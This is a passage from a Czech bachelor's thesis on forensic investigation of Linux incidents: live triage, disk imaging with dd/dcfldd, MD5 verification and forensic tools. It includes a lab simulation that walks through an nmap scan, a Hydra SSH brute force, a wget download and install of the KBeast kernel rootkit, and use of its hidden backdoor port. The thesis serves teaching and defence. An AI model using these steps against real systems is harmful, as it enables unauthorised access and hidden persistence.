Příkazem w lze zjistit, kdo je přihlášen do systému a co právě dělá. Autoři[2] doporučují každou reakci začínat i končit tímto příkazem, nejen pro to, aby bylo zajištěno, kdo je v systému během zajišťování důkazů přítomen, ale také zajistit časový rámec vyšetřování, jelikož zobrazuje i systémový čas. K tomuto účelu však je možné použít i příkaz date.

5.2.4 Zjišťování spuštěných procesů

Příkazem ps lze zjisti všechny běžící procesy. V systémech FreeBSD a Linux používáme příkaz ps –aux.

5.2.5 Zjišťování informací o síťových spojeních a otevřených portech

Informace o konfiguraci síťového rozhraní a připojení lze zjistit pomocí příkazu ifconfig. Je dobré také zkontrolovat, není-li síťová karta přepnuta do promiskuitního módu. To by mohlo být známkou přítomnosti snifferu v systému.

Dojde-li k odhalení snifferu, zvyšuje se závažnost incidentu. Je totiž pravděpodobné, že budou ohroženy i další systémy. Je také jasné, že pro instalaci snifferu musel mít útočník práva root.

Příkazem netstat vypíše všechny otevřené porty. Pro výpis, který přiřazuje název aplikace a její ID k procesu otevřeného portu je za příkaz přidán parametr –p (netstat -p).

5.2.6 Průzkum systém souborů /proc

„Systém souborů /proc je pseudo-systém souborů, který slouží jako rozhraní pro datové struktury jádra.“[2] V pravém slova smyslu tedy /proc není adresář, ale ve skutečnosti slouží jako přístup pro přístup k datovým strukturám jádra. Každý proces má v adresáři /proc svůj vlastní podadresář, jehož název odpovídá ID procesu. Každý spuštěný proces má tedy svůj podadresář, kde se nachází důležité údaje o procesu.

5.2.7 Získávání logů

Většina verzí operačního systému Linux uchovává logy v podadresářích /var/log/. Všechny logy by měly být zazálohovány již v průběhu zkoumání běžícího systému pro případ, že by se je útočník pokusil smazat během vyšetřování. Důležité jsou hlavně auth.log, syslog, messages. Dále je nutné zajistit logové soubory dalších služeb, které na serveru běží. Zajímat by nás měly také binární soubory wtmp, btmp, lastlog.

5.3 Forenzní duplikace média

Na začátku této kapitoly bych rád upozornil, že postup a správné zajištění disků(jejich sériových čísel, kopií a kontrolních součtů) je pro následující vyšetřování naprosto zásadní. V případě špatného postupu či nezajištění kontrolních součtů, mohou být při případném soudním procesu získané důkazy napadnuty a označeny za zmanipulované. Celý postup, včetně dalších analýz, by tak byl znehodnocen.

Po zajištění nestálých dat následuje forenzní duplikace média – vytvoření duplikátu - tzv. *image disku (obraz disku).* Některé zdroje také uvádějí termín

bitová kopie. Jedná se o přesnou kopii disku od začátku do konce. Laicky řečeno, je zkopírován celý pevný disk bit po bitu.

Duplikaci média je možno provést několika způsoby. Asi nejbezpečnější je vyjmout pevný disk, připojit ho do forenzní stanice a duplikace provést v ní.

Druhou možností je použít napadený systém, připojit externí médium a duplikát umístit na něj. Při použití napadeného systému je také možné odeslat duplikát pomocí sítě na forenzní stanici. Zde je ovšem potřeba zmínit, že pokud v rámci reakce na incident probíhá monitorování sítě, je zbytečně vytvářen provoz, který bude monitorován.

Poslední možností je nabootovat z CD *forenzní live distribuci* operačního systému Linux (např. DEFT Linux) a s její pomocí duplikovat disk na externí médium. Při tomto postupu je nutné zajistit, aby počítač bootoval pouze z mechaniky. Bootování z ostatních zařízení se doporučuje úplně zakázat.

Před samotným zahájením duplikace je nutné mít připravené médium, na které bude duplikát umístěn – *cílové médium*. V případě, že je vyjmut pevný disk z vyšetřovaného počítače (*důkazní médium*) a je připojen k forenzní stanici, nebo je využito přenosu po síti, bude cílové médium pevný disk forenzní stanice. Při postupu, kdy je použita forenzní live distribuce je nutno použít externí disk nebo opět využít přenosu po síti.

K samotnému vytvoření obrazu disku je nejčastěji používán nástroj *dd*. Jeho výhodou je, že je součástí každého systému Linux. Nevýhodou je, že pokud je spuštěn tento nástroj, o průběhu duplikace nezobrazuje žádné informace. Jedinou známkou probíhající duplikace je pak jen blikající kontrolka disku na skříni počítače.

Nástroj *dclfdd* tuto nevýhodu odstranil. Nebývá ale součástí všech distribucí operačního systému Linux. O průběhu vytváření obrazu disku informuje v příkazovém řádku. Nástroj je součástí například distribuce DEFT a jeho použití se nijak neliší od nástroje *dd*.

5.4 Postup forenzní duplikace média

Pro další postup budou uváděny příkazy, kterými bude zajištěn disk /dev/*sda* a bude použit nástroj dcfldd z distribuce DEFT.

Příkazem `fdisk –l` se zjistí informace o připojených discích a jejich oddílech. Tyto informace je nutné uložit. V tomto případě na připojený externí disk *sdb(sdb1)*, který je připojený k adresáři /evi . K zajištění použijeme příkaz `tee`, který umožní uložit získané informace do textového souboru *sda.fdisk.txt*.

```
fdisk –l /dev/sda | tee /evi/sda.fdisk.txt
```

Dále je nutné příkazem `hdparm –i` zjistit informace o disku. V tomto případě je hlavní informací výrobní číslo disku. Získané informace je opět nutné uložit do textového souboru *sda.hdparm.txt*.

```
hdparm –i /dev/sda | tee /evi/sda.hdparm.txt
```

Po získání výše zmíněných informací je už možné použít nástroj *dd* nebo *dclfdd* a vytvořit obraz disku následujícím příkazem. Obraz disku sda bude uložen ve formátu .dd na disk sdb.

```
dclfdd if=/dev/sda of=/evi/sda.dd
conv=noerror,notrunc,sync
```

Druhou možností je duplikace disku na jiný připojený disk a to následujícím příkazem. Stejně jako v minulém případě je nutné, aby cílový disk *sdb* měl minimálně stejnou kapacitu jako důkazní médium. Dalším důležitým faktem zůstává, že před použitím druhého postupu je nutné, aby byl disk naprosto prázdný a v žádném případě neobsahoval žádná, byť neplatná data. V případě, že by kapacita cílového disku byla větší, po připojení k forenzní stanici by forenzní nástroje zpracovaly i data, která na důkazním médiu nebyla a na cílovém disku zbyla např. z minulého případu. Je tedy nutné před použitím použít příkaz *wipe*.

```
dclfdd if=/dev/sda of=/dev/sdb
conv=noerror,notrunc,sync
```

Parametr *if=* udává zdrojové zařízení, *of=* cílové zařízení. Parametrem *conv* lze nastavit vlastnosti konverze. V tomto případě se nastavením noerror ignorují chyby při čtení, notrunc nezkracuje výstupní soubor a sync doplní každý vstupní blok na standartní velikost nulovými bajty. Standartně je velikost bloku 512B.

5.5 Kontrolní součet

Pro kontrolu, zda se duplikát a získané soubory shodují, je nutné použít nástroj *md5sum*. Jedná se o program, který vypočítá kryptografický kontrolní součet md5 pro daný soubor. Shoduje-li se kontrolní součet originálního a duplikovaného souboru, obraz byl vytvořen správně.

Příkaz pro vytvoření a uložení kontrolního součtu do textového souboru sda.md5.txt na připojený disk vypadá následovně:

```
md5sum sda.dd |tee /evi/sda.md5.txt
```

Shoduje-li se kontrolní součet souboru sda.dd se součtem disku získaným příkazem md5sum /dev/sda, vytvořený obraz odpovídá důkaznímu médiu. Kontrola shody součtů by měla být provedena vždy při předání a přejímání důkazního materiálu.

6 Vyhledávání důkazů

„Vyhledávání důkazů je proces, který uživatel používá k odhalení informací, jež mají vztah k vyšetřovanému incidentu.“[2] Dále autor[2] uvádí, že analýzu obrazu disku lze rozdělit do dvou vrstev. *Fyzické analýzy* a *logické analýzy*.

Fyzickou analýzou autor rozumí hledání řetězců a extrakci dat v rámci celého obrazu disku, zatímco logická analýza spočívá v procházení stromovou strukturou souborového systému a analýze jednotlivých souborů.

K prohlížení obsahu je možné použít jak standardní linuxové nástroje, tak specializované programy určené k forenzní analýze digitálních dat (více v kapitole 7).

Při vyšetřování bezpečnostního incidentu je nezbytné analyzovat zvláště logové soubory a důležité systémové soubory. V operačních systémech Ubuntu jsou nejčastěji logy uloženy v adresáři /var/log/.

Tento adresář obsahuje logy systému i logy běžících služeb jako např. *Samba*, *Apache* apod. Nejzajímavější a nejdůležitější soubory pro vyšetřování jsou soubory *messages*, *syslog*, *auth.log*. Dále pak binární soubory *wtmp*, *btmp*, které obsahují informace o úspěšných a neúspěšných přihlášeních uživatelů. Umístění logových souborů je nastaveno v souboru /etc/rsyslog.conf.

Častým cílem útoku jsou soubory obsahující seznamy uživatelů a hashe jejich hesel /etc/passwd a /etc/shadow. Je proto nutno zkontrolovat, zda neobsahují útočníkem přidaného uživatele. Další zdroj informací pro vyšetřovatele může představovat soubor *.bash_history* v domovském adresáři uživatele, kde jsou zaznamenány všechny uživatelem zadané příkazy. Další důležité informace můžeme získat i z dalších souborů v adresáři etc/. Například soubor *fstab,* který obsahuje údaje o připojených discích.

Další pátrání po důkazech pak závisí na vyšetřovaném případu či incidentu. V případě pátrání po souborech porušujících autorská práva *(zákon č 121/2000Sb. o právu autorském (autorský zákon),* či šíření dětské pornografie (*§205 Zákonu č. 140/1961 Sb., trestní zákon*) se pak vyšetřovatel, v takovémto případě už

soudní znalec bude zabývat spíše grafickými soubory a historiemi komunikačních programů jako ICQ, Skype atd.

7 Forenzní nástroje

7.1 Produkty firmy AccessData

7.1.1 FTK Forensic Toolkit

Program FTK Forensic Toolkit je v současnosti považován za špičku mezi programy specializovanými na digitální forenzní analýzu. Jedná se o komplexní nástroj pro vyšetřování počítačové kriminality běžící na platformě Windows. Umožňuje vyšetřovateli provádět kompletní analýzu obrazu disků obsahujících většinu používaných souborových systémů. Do analýzy obrazu disku lze zapojit čtyři pracovní stanice, čímž se tato analýza výrazně zrychluje.

Po analýze vyšetřovaného obrazu disku lze nalezené soubory procházet nebo filtrovat dle potřeby případu. Je možné zaměřit se na textové či tabulkové dokumenty, grafické soubory či emailovou komunikaci. Grafické soubory získává i z jiných, např. textových souborů nebo souborů se změněnou příponou.

Samozřejmostí je schopnost obnovit smazané, ale také částečně smazané nebo jinak poškozené soubory, které je schopen rekonstruovat. Tyto soubory se pak objevují ve složce *Orphans*.

Velkou výhodou tohoto programu je přehledné grafické rozhraní a intuitivní ovládání. Výsledkem pak může být kompletně generovaný report obsahující veškeré nalezené skutečnosti.

7.1.2 FTK Imager

FTK Imager jedná se o součást FTK Forensic Toolkitu, kterou lze ovšem získat samostatně a zdarma. Grafické rozhraní je prakticky shodné s programem FTK Forencic toolkit. FTK Imager slouží k pořizování a procházení obrazů disků. Neplatná data (soubory) jsou v tomto programu označena červeným křížkem.

Jeho použití k tvorbě obrazu disku pro forenzní zkoumání lze doporučit pouze v případě v kombinaci s hardwarovým blokátorem, díky výše zmíněné nevýhodě operačních systému Windows pro forenzní analýzu.

7.1.3 FTK Registry Viewer

FTK Registry Viewer je další součástí FTK Forensic Toolkitu, která je specializovaná na práci a prohlížení registrů operačních systémů Windows.

7.2 DEFT

Live distribuce DEFT (Digital Evidence & Forensic Toolkit) je upravená distribuce Xubuntu Linux. Obsahuje velké množství opensource programů pro práci a vyšetřování nejen počítačů, ale i mobilních telefonů a dalších mobilních zařízení. Dále programy pro zkoumání souborových systémů, databází, sítí, registrů, programy pro lámání hesel a antivirové programy. Samozřejmostí jsou pak nástroje pro vytváření forenzních obrazů disků a kontrolních součtů. Médium s touto distribucí je možné nabootovat a používat live distribuci linuxu, kde je na výběr jak řádkový režim, tak grafické rozhraní.

Druhou možností je použít médium přímo z operačního systému Windows. V takovém případě dojde ke spuštění DART (Digital Advanced Response Toolkit), který obsahuje množství volně šiřitelných programů, zejména od firmy Nirsoft. Malou nevýhodou pak může být italský původ této distribuce, protože některé programy jsou k dispozici pouze v italštině.

7.3 Autopsy 3.0.0

Program Autopsy vznikl původně jako grafická nadstavba k forenznímu nástroji The Sleuth Kit(TSK), který běžel na os Linux. TSK je kolekcí nástrojů příkazového řádku pro vyšetřování obrazů disků. Verze Autopsy 3.0.0 je kompletně přepsanou verzí TSK a Autopsy do jazyka JAVA a je tedy možné ji použít i na jiných operačních systémech. Program po analýze disku třídí do několika skupin.

Nalezené soubory podle typů - grafické soubory(.jpg, jpeg, .png), video soubory, audio soubory. Dokumenty html, pdf, ofice (.doc, .xls atd.) a textové dokumenty (txt, .rtf atd.)

Další možností je zobrazení naposledy použitých souborů, které jsou setříděny podle dní.

V dalším seznamu souborů jsou zobrazeny nalezené záložky, cookies a historie webových prohlížečů včetně naposledy stažených souborů a vyhledávaných výrazů hledaných ve vyhledávačích.

Další možností je pak vyhledávání klíčových výrazů. Přednastaveno je vyhledávání telefonních čísel, IP adres, emailových adres a URL. Další filtry je možné vytvořit. Pomoci může i vyhledávání dle kontrolních součtů. Dále pak zobrazuje naposledy připojená zařízení a nainstalované programy a emailovou komunikaci.

8 Návrh metodiky pro Ubuntu 10.04 LTS

V této kapitole bude navržen postup reakce na incident a následné forenzní analýzy pro systém Ubuntu 10.04 LTS. Cílem je vytvořit rychlou, jednoduchou a účinnou metodiku postupu, která by měla odhalit základní druhy útoků. Při návrhu je nutné řídit se doporučenými postupy.

8.1 Vytvoření balíku nástrojů pro analýzu živého systému

Tento balík lze použít v situaci, kdy je podezření, že byly upraveny programy v adresáři /bin a tedy i příkazy, které slouží pro vypsání informací o aktuálním stavu systému. Jedná se o příkazy sh, w, ps atp.

V dnešní době se s tímto problémem lze setkat už jen zřídka. Existují programy, které kontrolují kontrolní součty těchto programů (tripwire, rkhunter). Dalším důvodem proč je použití tohoto balíku omezeno je případ, kdy dojde k modifikaci jádra pomocí rootkitu. V takovém případě výsledky získané pomocí příkazů spuštěných z připojeného balíku nemusí odpovídat skutečnosti. Nicméně je dobré mít tento balík připravený.

Pro vytvoření balíku nástrojů pro analýzu živého systému (First response toolkit, dále jen FRT) se budu držet seznamu příkazů [2] a návodu [13].

V balíku budou k dispozici k dispozici všechny příkazy (programy), které obsahuje adresář /bin.

Pro samotné vytvoření balíku je nutné vytvořit adresář, ve kterém je nutné vytvořit další dva adresáře (lib, bin), přesně dle návodu [13]. A to pomocí příkazů:

```
mkdir reposnse
cd response
mkdir bin
mkdir lib
```

Poté zkopírujeme celý adresář /bin do bin, který se nachází v adresáři /response.

```
cp /bin/* bin
```

Poté je nutné zadat následující příkaz:

```
ldd bin/* | grep "/lib" | sed -e 's/.*\(\/lib\/[^
]*\).*/cp \1 lib/' | sh
```

Ten zkopíruje všechny potřebné knihovny do adresáře lib. Díky regulárnímu výrazu není pak nutné zadávat ho pro každý soubor zvlášť. Poté je možné adresář zkopírovat na flashdisk nebo vytvořit image .iso příkazem z nadřazeného adresáře a vypálit jej na CD.

```
mkisofs -o ResponseCD.iso  response
```

Pro použití této sady nástrojů je nutné ji připojit do vyšetřovaného systému a změnit proměnné PATH a LD_LIBRARY_PATH. Proměnná PATH musí ukazovat na adresář response/bin (PATH= cesta k adresáři). Proměnná LD_LIBRARY_PATH musí ukazovat na adresář response/lib. Ve starších verzích Ubuntu bylo možné cestu k LD_LIBRARY_PATH změnit stejným způsobem, ale od verze 9.04 je nutné nastavit cestu v konfiguračních souborech v adresáři `/etc/ld.so.conf.d/`. Tímto postupem zajistíme, aby se zadané příkazy spouštěly z připojené sady nástrojů.

8.2 Navržená metodika

8.2.1 Dokumentace stanice

Pro dokumentaci stanice v tomto případě postačí několik fotografií vyšetřovaného počítače. Policie a soudní znalci používají fotodokumentaci zejména ze dvou důvodů. Prvním důvodem je dokumentace připojených zařízení a zejména to, do kterých portů byla zapojena, aby byl mohl být počítač vrácen do původního stavu. Tento krok je tedy vhodný i pro případ, kdy je počítač zajišťován bezpečnostními techniky organizace.

Druhým důvodem pořizování dokumentace policií je obrana před nařčeními z manipulace či výměny komponentů. Proto je dobré, máme-li tu možnost, pořídit detailní fotografie vnitřku počítačové stanice.

8.2.2 Analýza živého systému

K analýze živého systému přistoupíme za podmínky, že se jedná o zapnutý počítač u kterého je podezření, že byl napaden, útok stále trvá nebo je-li podezření, že bychom mohli přijít o důležitá dočasná data. Je-li počítač vypnutý, provedeme rovnou forenzní duplikaci.

Analýza živého systému musí být řádně zadokumentovaná. Je tedy nutné zadokumentovat čas a jednotlivé kroky.

Samotná analýza pak bude probíhat následovně:

1. Příkazem date zjistíme systémový čas a ten zapíšeme
2. Zjistíme, kdo je přihlášen příkazem- w
3. Zajistíme seznam běžících procesů - ps
4. Zjistíme otevřené sockety a seznam připojených systémů – netstat, netstat –anp
5. Zajistíme informace o přihlášeních uživatelů- last, lastb, lastlog
6. Zkopírujeme soubory *shadow* a *passwd* z adresáře /etc

Je možnost všechny výsledky uložit na připojený USB disk příkazem tee. V tomto případě by měly být vytvořeny a zadokumentovány kontrolní součty zajištěných výsledků md5.

Ačkoliv bylo již výše zmíněno, že se problematikou duplikace a analýzy operační paměti v této práci nezabývám, je nutné zmínit, že před vypnutím systému by pak ještě měla být provedena duplikace operační paměti. Ta se u starších systémů a jiných distribucí Linuxu prováděla zajištěním souborů /proc/kmem nebo /proc/kcore, popřípadě duplikací /dev/mem pomocí příkazu dd. V novějších distribucích Ubuntu (od verze 9.04) už tyto možnosti nejsou díky kompilaci jádra s bezpečnostním prvkem *CONFIG_STRICT_DEVMEM kernel options*[8].

8.2.3 Forenzní duplikace

Forenzní duplikaci provedeme pomocí live distribuce DEFT. Před jejím nabootováním je nutné zajistit, aby počítač bootoval z mechaniky. V žádném případě nesmí dojít ke spuštění systému.

Nejsme-li si jisti, jakou klávesou se dostaneme do biosu a máme-li možnost dostat se do počítačové skříně, je dobré disky odpojit a spustit počítač nejprve bez nich a zjistit způsob spuštění biosu. Dále už budeme postupovat dle kapitoly 5.4.

8.2.4 Zkoumání duplikátu

Jak už bylo výše zmíněno, samotné zkoumání je velice jedinečná záležitost, která se liší případ od případu. V případě, že je vyšetřován duplikát, kdy je pachatel obviněn z útoku na počítačový systém, jsou hledány např. programy sloužící k těmto účelům. V případě oběti jsou naopak hledány důkazy zejména v logových souborech.

Ke zkoumání budou použity programy FTK Forensic Toolkit 1.8 a FTK Imager. Soubory, které ve kterých se nejčastěji nacházejí důkazy jsou vypsány v kapitole Pátrání. Jedná se zejména o soubory v adresářích /var/log a /etc.

8.2.5 Dokumentace

Dokumentace je velice důležitou součástí forenzní analýzy. Je nutné aby byly zadokumentovány všechny zjištěné skutečnosti, které by mohly vést k dopadení pachatele. Součástí dokumentaci by také měly být kontrolní součty zajištěného obrazu disku.

9 Simulace incidentu a použití navržené metodiky

9.1 Simulace incidentu

Základní myšlenkou simulace incidentu je vytvořit podmínky, kvůli kterým bude nutné provést digitální forenzní analýzu. V tomto případě bude simulován incident, který by bylo možné kvalifikovat jako „neoprávněný přístup k počítačovému systému a nosiči informací“, dle § 230 trestního zákoníku.

Bude použit operační systém Ubuntu 10.04.4 LTS. Jedná se o verzi LTS (Long Term Support), která je vydávána jednou za dva roky a je podporována dalších 36 měsíců. K vzdálenému přístupu bude nainstalován SSH server.

Bude proveden útok hrubou silou, který poslouží k získání hesla ke vzdálenému přístupu pomocí SSH. Následně bude nainstalován rootkit, který bude umožňovat pozdější přihlašování do napadeného počítače.

Je nutné zmínit, že simulace i následná forenzní analýza proběhne za ideálních podmínek. Tedy ihned po útoku, kdy je nejnižší pravděpodobnost, že budou některé smazané soubory přepsány.

9.1.1 Rootkit KBeast 2012

Jedná se o linuxový kernelový rootkit, jenž umí skrývat svojí přítomnost díky úpravě LKM, skrývat běžící procesy, připojení a otevřené society a skrývat soubory a adresáře. Dalším nebezpečím je pak jeho keylogger zaznamenávající zadané příkazy a backdoor umožňující zvolit si port, ke kterému se bude možné připojit.

V době zadání této bakalářské práce a plánování této simulace se jednalo o nový rootkit, o kterém bylo k dispozii pouze velice málo informací [15],[14] a nebylo ho možné vyhledat pomocí programů *rkhunter* a *chrootkit*. To se v průběhu letošního roku změnilo a přibyly i další a podrobné informace např.[12]. Nicméně *rkhunter* dokáže tento rootkit rozpoznat až od verze 1.4, ale po použití standardního stažení a instalace programu pomocí `apt-get install rkhunter` dojde ke stažení verze 1.3.6. Program *chkrootkit* upozorní pouze na možnou přítomnost trojanu a 6 skrytých procesů.

9.1.2 Parametry a operační systém napadeného počítače

Pro simulaci útoku bude v roli oběti virtuální počítač, který bude zajišťovat program VirtualBox.[9] Počítač bude disponovat 1024MB operační paměti a 6 GB pevným diskem, jehož velikost bude pro účel demonstrace plně postačovat. Jako operační systém bude použit Ubuntu 10.04.4. IP adresa odpovídá lokální síti 10.0.0.147 .

9.1.3 Provedení útoku

Z jiného počítače, taktéž virtuálního, s operačním systémem Linux (Ubuntu) bude proveden útok.

Prvním krokem bude mapování běžících služeb pomocí programu *nmap*. To pomocí příkazu: `nmap –sV 10.0.0.147 ,` jehož výsledkem budou následující informace:

```
Starting Nmap 5.21 ( http://nmap.org ) at 2012-11-30
11:43 CET
Nmap scan report for 10.0.0.147
Host is up (0.0020s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.3p1 Debian 3ubuntu7
(protocol 2.0)
Service Info: OS: Linux
Service detection performed. Please report any
incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.44
seconds
```

Z tohoto výpisu je jasné, že na skenovaném počítači běží SSH.

Dalším krokem bude použití programu *Hydra GTK* k slovníkovému útoku na SSH. V případě slovníkového útoku resp. hrubou silou se jedná o poměrně jednoduchý útok a lze snadno bránit správným nastavením systému. Jeho

používání v kombinaci se sociálním inženýrstvím je stále aktuální, zejména díky nezkušeným uživatelům, kteří nedodržují zásady silných hesel.

Jako slovník bude použit textový soubor obsahující hesla, mezi která bude přidáno přihlašovací heslo k administrátorskému účtu na napadeném počítači, aby bylo možné dále provádět naplánovaný útok.

Samotný útok můžeme provést pomocí jednoduchého grafického rozhraní, kde v záložce Target nastavíme do položky Single Target IP adresu napadeného počítače - 10.0.0.147, do položky Port nastavíme číslo 22 (SSH port) a jako protokol zvolíme SSH.

V záložce Passwords do Username napíšeme jméno účtu, pod kterým se budeme přihlašovat – v našem případě uživatel master. Je možné také použít slovník, kde bude například seznam nejpoužívanějších přihlašovacích jmen. Tuto možnost je možné použít, pokud neznáme žádný účet na napadeném počítači, ale musíme počítat s delší časovou náročností. Po označení položky Password List vybereme slovník – v našem případě soubor passwords.txt.

V záložce Tuning je pak možné zvolit počet pokusů a pauzy mezi pokusy. Další možností je použití proxy serveru pro zamaskování útočníkovy adresy. Nyní už je možné přepnout na záložku Start a spustit slovníkový útok. Po skončení nás bude nejvíce zajímat tučně zvýrazněný řádek.

```
Hydra v6.5 (c) 2011 by van Hauser / THC and David
Maciejak - use allowed only for legal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2012-
12-01 10:35:31
[DATA] 5 tasks, 1 servers, 5 login tries (l:1/p:5), ~1
tries per task
[DATA] attacking service ssh on port 22
[STATUS] attack finished for 10.0.0.147 (waiting for
children to finish)
[22][ssh] host: 10.0.0.147   login: master   password:
forensic
```

```
Hydra (http://www.thc.org/thc-hydra) finished at 2012-12-01 10:35:34
<finished>
```

Připojíme se pomocí ssh. Příkaz `ssh master@10.0.0.147` a po vyzvání zadáme heslo. Nyní už ovládáme napadený počítač a je možné přejít k instalaci rootkitu *KBeast* (Kernel Beast 2012). Tu provedeme podle návodu, který je k dispozici na[14], nebo přímo v archivu kbeast.

Nejprve je tedy nutné rootkit stáhnout (archiv) a rozbalit. Stáhneme tedy pomocí:

```
wget http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz
```

A pomocí následujícího příkazu rozbalíme.

```
tar zxvf ipsecs-kbeast-v1.tar.gz
```

Pro další postup je dobré přesunout se do no adresáře `/kbeast-v1.` V souboru *README.TXT* je možné zjistit, jak dále postupovat v závislosti na použitém systému, resp. verzi kernelu. Verzi kernelu zjistíme následujícím příkazem:

```
cat /proc/version
```

Výsledkem je zjištění, že systém je verze 2.6.32-38.

Dále je nutné modifikovat soubor *config.h*, kde je nutné změnit položku _MAGIC_NAME_ z bin na jméno uživatele master. V tomto souboru je pak možné nastavit keylogger a kam bude svá data ukládat, dále je pak možné nastavit port, který bude možné použít ke vzdálenému přístupu. Defaultně je nastaven port 13377 a nebude se zobrazovat ve výsledcích netstat.

Z informací ze souboru README.TXT a o verzi systému pak instalaci spustíme zadáním `sudo ./setup build` do příkazového řádku. Výsledkem pak bude následující:

```
Checking for Kernel Beast : [OK]
Checking for sed : /bin/sed
```

```
Generating C file from .cc1 : [OK]
Checking for Makefile : [OK]
Checking for Network Daemon : [OK]
Checking for Config File : [OK]
Checking for Kernel Header : [OK]
Checking for gcc : /usr/bin/gcc
Checking for make : /usr/bin/make
Checking for kernel version : [OK]
Creating Install Directory : [OK]
Compiling Kernel Module : [OK]
Compiling Network Daemon File : [OK]
Inserting Loadable Kernel Module : [OK]
Running Network Daemon for Remote Access :
Daemon running with PID = 2130
Build Complete!
```

Nyní už je rootkit nainstalován. Bylo vyzkoušeno i použití backdooru programem putty.exe z třetího počítače s ip adresou 10.0.0.140. Přihlášení na port 13377 s defaultním heslem(h4x3d) z konfiguračního souboru rootkitu proběhlo úspěšně. Po standardním přihlášení uživatele master přes SSH a zadání příkazu `ps` pro vypsání běžících procesů proces s PID =2130 nebyl zobrazen. Po přihlášení na skrytý port 13377 a zadání příkazu `ps` byl zobrazen i tento proces a je zde tedy patrné, že rootkit opravdu funguje a všechny procesy nejsou pro normálního uživatele viditelné.

```
PID TTY TIME CMD
2130 ?  00:00:00 _h4x_bd
```

9.2 Vyšetřování incidentu

V době plánování této simulace se jevila jako nevýhodnější možnost pro odhalení incidentu analýza logových záznamů. Tam by byly hledány nesrovnalosti a záznamy o vzdálených přístupech. Druhou možností odhalení je případ, kdy si uživatel, který se připojuje přes ssh všimne, že k poslednímu

přihlášení nedošlo z jeho počítače. Další možností je použití programu *rkhunter* nebo *chkrootkit*, které uživatele upozorní na několik podezřelých skutečností, tedy možnost přítomnosti rootkitu.

Pro tuto simulaci bude poslední zmíněná možnost brána jako událost, která je důvodem pro vyšetřování a bude zadokumentována viz. Dokumentace.

9.2.1 Analýza živého systému

Budou zajištěny nestálá data a další soubory přesně dle kapitoly 8.2.2.

9.2.2 Forenzní duplikace a vyšetřování zajištěného obrazu

Po nabootování spustíme DEFT (položka DEFT Live) a po naběhnutí budeme pokračovat v příkazovém řádku, tedy nezvolíme možnost přejít do grafického rozhraní pomocí příkazu deft-gui.

Pokračujeme příkazem `fdisk –l`, kterým získáme informace o discích a jejich oddílech. V tomto případě disk *sda* zajišťujeme a disk *sdb* slouží jako cílový. Dále je nutné vytvořit adresář `/evi` (zkratka evidence) a připojit k němu externí disk nebo flashdisk, na který budeme ukládat získaná data a bitovou kopii. Následuje tedy posloupnost těchto příkazů za předpokladu, že disk cílový disk byl připraven (zformátován):

```
mkdir /evi
mount /dev/sdb1
```

Cílový disk byl připojen k adresáři evidence. Následujícím příkazem vypíšeme informace o oddílech zajišťovaného disku a uložíme informace na cílový disk do textového soubotu *sdafdisk.txt*.

```
fdisk –l dev/sda | tee /evi/sdafdisk.txt
```

Dalším důležitým krokem je zajištění informací o zajišťovaném disku, zejména jeho sériové číslo:

```
hdparm –i /dev/sda | tee /evi/hdparmsda.txt
```

Nyní přistoupíme k samotnému vytvoření forenzního duplikátu disku následujícím příkazem:

```
dcfldd if=/dev/sda of=/evi/sda.dd
conv=noerror,notrunc,sync
```

Výsledkem je bitová kopie celého disku.

Posledním krokem je pak kontrola přítomnosti souborů v adresáři /evi (`cd /evi, ls`) a zajištění kontrolních součtů md5. Zásadní je kontrolní součet souboru sda.dd, tedy samotné bitové kopie. Pro jistotu je dobré zajistit i kontrolní součty obou souborů obsahujících informace o disku.

```
md5sum sda.dd | tee sdamd5.txt
md5sum hdparmsda.txt | tee hdparmmd5.txt
md5sum sdafdisk.txt | tee sdafdiskmd5.txt
```

Výsledkem pak jsou následující kontrolní sumy:

```
3c7cd374f83ba2d4f6f250c01d3ba980  hdparmsda.txt
75ba903cc6b19a245f9edbe6f135399c  sdafdsisk.txt
dbc7cb01b83ff6a3d9e75db85564da6e  sda.dd
```

9.2.3 Zkoumání duplikátu

V tomto konkrétním případě pro zkoumání duplikátu použijeme program FTK Forensic Toolkit a jeho součást FTK Imager. Hlavním cílem v tomto případě budou logové soubory, které by měly pomoci ke zjištění, jak incident proběhl a dále jakékoli další související soubory. Celý postup a výsledky budou zadokumentovány v následující kapitole.

9.2.4 Dokumentace

- Možný incident zjištěn v 15:15 12.1. 2012. Program chkrootkit odhalil 6 skrytých procesů a upozornil na možnost přítomnosti trojanu. Program rkhunter nezjistil žádný rootkit.
- Přistoupeno k živé analýze. Zajištěny soubory last.txt, lastb.txt,, lastlog.txt. netstat.txt, netstat-anp.txt, ps-aux.txt, w.txt a soubory z adresáře /etc passwd, passwd-,shadow, shadow-. V zajištěných souborech nenalezeny žádné informace, které by sloužily k odhalení incidentu.

- Přistoupeno k vytvoření forenzního duplikátu disku /dev/sda pomocí programu dcfldd, který byl použit i pro vytvoření kontolního součtu md5.

```
dcfldd if=/dev/sda of=/evi/sda.dd
conv=noerror,notrunc,sync hash=md5
hashlog=/evi/sdamd5.txt
```

Kontrolní součet md5 image sda.dd: dbc7cb01b83ff6a3d9e75db85564da6e.

- Zajištěn soubor sdafdisk.txt obsahující informace o rozložení disku.

```
fdisk -l /dev/sda | tee sdafdisk.txt

Disk dev/sda: 6442 MB, 6442450944 bytes

255 heads, 63 sectors/track, 783 cylinders, total
12582912 sectors

Units = sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 512 bytes / 512 bytes

Disk identifier: 0x000e306f

Device Boot   Start     End      Blocks  Id  System
dev/sda1   *    2048  11931647  5964800  83  Linux
dev/sda2    11933694  12580863   323585   5  Extended
dev/sda5    11933696  12580863   323584  82  Linux swap
```

- Zajištěn soubor hdparmsda.txt s informacemi o harddisku /dev/sda pomocí příkazu `hdparm –i /dev/sda.` Kontrolní součet md5 souboru hdparmsda.txt: 3c7cd374f83ba2d4f6f250c01d3ba980 – kontrolní suma ok. Sériové číslo disku: VB52e57bcf-53c19fcc

```
/dev/sda:
Model=VBOX HARDDISK, FwRev=1.0, SerialNo=VB52e57bcf-
53c19fcc
```

```
Config={ Fixed }
RawCHS=12483/16/63, TrkSize=0, SectSize=512, ECCbytes=0
BuffType=DualPortCache, BuffSize=256kB,
MaxMultSect=128, MultSect=128
CurCHS=12483/16/63, CurSects=12582864, LBA=yes,
LBAsects=12582912
